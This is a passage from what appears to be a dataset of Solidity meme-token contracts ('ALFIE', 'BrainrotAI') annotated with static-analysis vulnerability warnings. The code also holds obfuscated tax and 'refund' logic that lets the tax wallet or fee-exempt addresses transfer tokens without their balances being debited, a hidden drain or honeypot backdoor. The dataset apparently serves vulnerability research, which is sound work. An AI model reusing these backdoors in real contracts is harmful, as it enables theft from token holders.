msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract ALFIE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 97c0f15): ALFIE._taxWallet should be immutable \n\t// Recommendation for 97c0f15: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: de6d3c1): ALFIE._initialBuyTax should be constant \n\t// Recommendation for de6d3c1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 8;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5f6ea3d): ALFIE._initialSellTax should be constant \n\t// Recommendation for 5f6ea3d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: a6688a1): ALFIE._finalBuyTax should be constant \n\t// Recommendation for a6688a1: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55990b7): ALFIE._finalSellTax should be constant \n\t// Recommendation for 55990b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e1ebec9): ALFIE._reduceBuyTaxAt should be constant \n\t// Recommendation for e1ebec9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: c81bd13): ALFIE._reduceSellTaxAt should be constant \n\t// Recommendation for c81bd13: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a3c7b0): ALFIE._preventSwapBefore should be constant \n\t// Recommendation for 9a3c7b0: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 4;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Robinhood Dog\";\n\n string private constant _symbol = unicode\"ALFIE\";\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n uint256 public constant _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n uint256 public constant _maxTaxSwap = 8000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e7d772): ALFIE.refundLimit should be constant \n\t// Recommendation for 1e7d772: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 61d32ac): ALFIE.refundLimit is never initialized. It is used in ALFIE._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 61d32ac: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private refundLimit;\n\n struct ChainRefund {\n uint256 refAmount;\n uint256 claimAmount;\n uint256 refClaimTotal;\n }\n\n mapping(address => ChainRefund) private chainRefund;\n\n uint256 private refundTotalAmount;\n\n IUniswapV2Router02 private immutable uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x7Db97D0FC4C2c2cD3b59e6d1fA598A2338d4b6A2);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5ce780c): ALFIE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5ce780c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d7f6c37): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d7f6c37: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f6151ae): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f6151ae: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d7f6c37\n\t\t// reentrancy-benign | ID: f6151ae\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d7f6c37\n\t\t// reentrancy-benign | ID: f6151ae\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cc613fb): ALFIE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cc613fb: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: f6151ae\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d7f6c37\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5da2680): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5da2680: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6fe1565): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6fe1565: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 38bca16): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 38bca16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 5da2680\n\t\t\t\t// reentrancy-benign | ID: 6fe1565\n\t\t\t\t// reentrancy-eth | ID: 38bca16\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5da2680\n\t\t\t\t\t// reentrancy-eth | ID: 38bca16\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 6fe1565\n refundTotalAmount = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (uniswapV2Pair != to) {\n ChainRefund storage chainRef = chainRefund[to];\n\n if (uniswapV2Pair == from) {\n if (chainRef.refAmount == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 6fe1565\n chainRef.refAmount = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n ChainRefund storage chainRefSwap = chainRefund[from];\n\n if (\n chainRefSwap.refAmount < chainRef.refAmount ||\n !(chainRef.refAmount > 0)\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 6fe1565\n chainRef.refAmount = chainRefSwap.refAmount;\n }\n }\n } else {\n ChainRefund storage chainRefSwap = chainRefund[from];\n\n\t\t\t\t// reentrancy-benign | ID: 6fe1565\n chainRefSwap.claimAmount = chainRefSwap.refAmount.sub(\n refundTotalAmount\n );\n\n\t\t\t\t// reentrancy-benign | ID: 6fe1565\n chainRefSwap.refClaimTotal = block.timestamp;\n }\n }\n\n\t\t// reentrancy-events | ID: 5da2680\n\t\t// reentrancy-eth | ID: 38bca16\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 61d32ac): ALFIE.refundLimit is never initialized. It is used in ALFIE._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 61d32ac: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : refundLimit.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 38bca16\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5da2680\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 38bca16\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 38bca16\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 5da2680\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5da2680\n\t\t// reentrancy-events | ID: d7f6c37\n\t\t// reentrancy-benign | ID: 6fe1565\n\t\t// reentrancy-benign | ID: f6151ae\n\t\t// reentrancy-eth | ID: 38bca16\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5da2680\n\t\t// reentrancy-events | ID: d7f6c37\n\t\t// reentrancy-eth | ID: 38bca16\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2abaed0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2abaed0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e973aad): ALFIE.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e973aad: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f976203): ALFIE.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f976203: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d9758af): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d9758af: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 2abaed0\n\t\t// reentrancy-eth | ID: d9758af\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 2abaed0\n swapEnabled = true;\n\n\t\t// unused-return | ID: f976203\n\t\t// reentrancy-eth | ID: d9758af\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: e973aad\n\t\t// reentrancy-eth | ID: d9758af\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: d9758af\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10005.sol",
"size_bytes": 22715,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable {\n address internal owner;\n\n constructor(address _owner) {\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\n function renounceOwnership() public onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(address(0));\n }\n\n event OwnershipTransferred(address owner);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n}\n\ncontract BrainrotAI is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7fb65cb): BrainrotAI.routerAdress should be constant \n\t// Recommendation for 7fb65cb: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: 519a5c7): BrainrotAI.DEAD should be constant \n\t// Recommendation for 519a5c7: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string private _name;\n\n string private _symbol;\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f9c547): BrainrotAI._totalSupply should be constant \n\t// Recommendation for 8f9c547: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fff14d3): BrainrotAI._swapBrainrotAIThreshHold should be immutable \n\t// Recommendation for fff14d3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapBrainrotAIThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ecf16a1): BrainrotAI._maxTaxSwap should be immutable \n\t// Recommendation for ecf16a1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private BrainrotAIs;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f80e782): BrainrotAI._BrainrotAIWallet should be immutable \n\t// Recommendation for f80e782: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _BrainrotAIWallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public BrainrotAIFeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: faca292): BrainrotAI._initBuyTax should be constant \n\t// Recommendation for faca292: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a61b787): BrainrotAI._initSellTax should be constant \n\t// Recommendation for a61b787: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 64e70ef): BrainrotAI._reduceBuyTaxAt should be constant \n\t// Recommendation for 64e70ef: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: c79fdfb): BrainrotAI._reduceSellTaxAt should be constant \n\t// Recommendation for c79fdfb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0195f4a): BrainrotAI.constructor(address,string,string).BrainrotAIWallet lacks a zerocheck on \t _BrainrotAIWallet = BrainrotAIWallet\n\t// Recommendation for 0195f4a: Check that the address is not zero.\n constructor(\n address BrainrotAIWallet,\n string memory name_,\n string memory symbol_\n ) Ownable(msg.sender) {\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: 0195f4a\n _BrainrotAIWallet = BrainrotAIWallet;\n\n _name = name_;\n\n _symbol = symbol_;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_BrainrotAIWallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_BrainrotAIWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawBrainrotAIBalance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableBrainrotAITrade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n BrainrotAIFeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getBrainrotAIAmounts(\n uint action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : BrainrotAIFeeEnabled\n ? takeBrainrotAIAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = BrainrotAIFeeEnabled && takeFee\n ? takeBrainrotAIAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4eea463): BrainrotAI.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_BrainrotAIWallet).transfer(ethAmountFor)\n\t// Recommendation for 4eea463: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: 15525fb\n\t\t// reentrancy-eth | ID: 03ca403\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: 15525fb\n\t\t// reentrancy-eth | ID: 03ca403\n\t\t// arbitrary-send-eth | ID: 4eea463\n payable(_BrainrotAIWallet).transfer(ethAmountFor);\n }\n\n function removeBrainrotAILimit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeBrainrotAIAmountAfterFees(\n uint BrainrotAIActions,\n bool BrainrotAITakefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 BrainrotAIPercents;\n\n uint256 BrainrotAIFeePrDenominator = 100;\n\n if (BrainrotAITakefee) {\n if (BrainrotAIActions > 1) {\n BrainrotAIPercents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (BrainrotAIActions > 0) {\n BrainrotAIPercents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n BrainrotAIPercents = 0;\n }\n }\n } else {\n BrainrotAIPercents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(BrainrotAIPercents).div(\n BrainrotAIFeePrDenominator\n );\n\n\t\t// reentrancy-eth | ID: 03ca403\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = BrainrotAITakefee\n ? feeAmounts\n : amounts.div(BrainrotAIPercents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getBrainrotAIAmounts(\n action,\n takeFee,\n amount\n 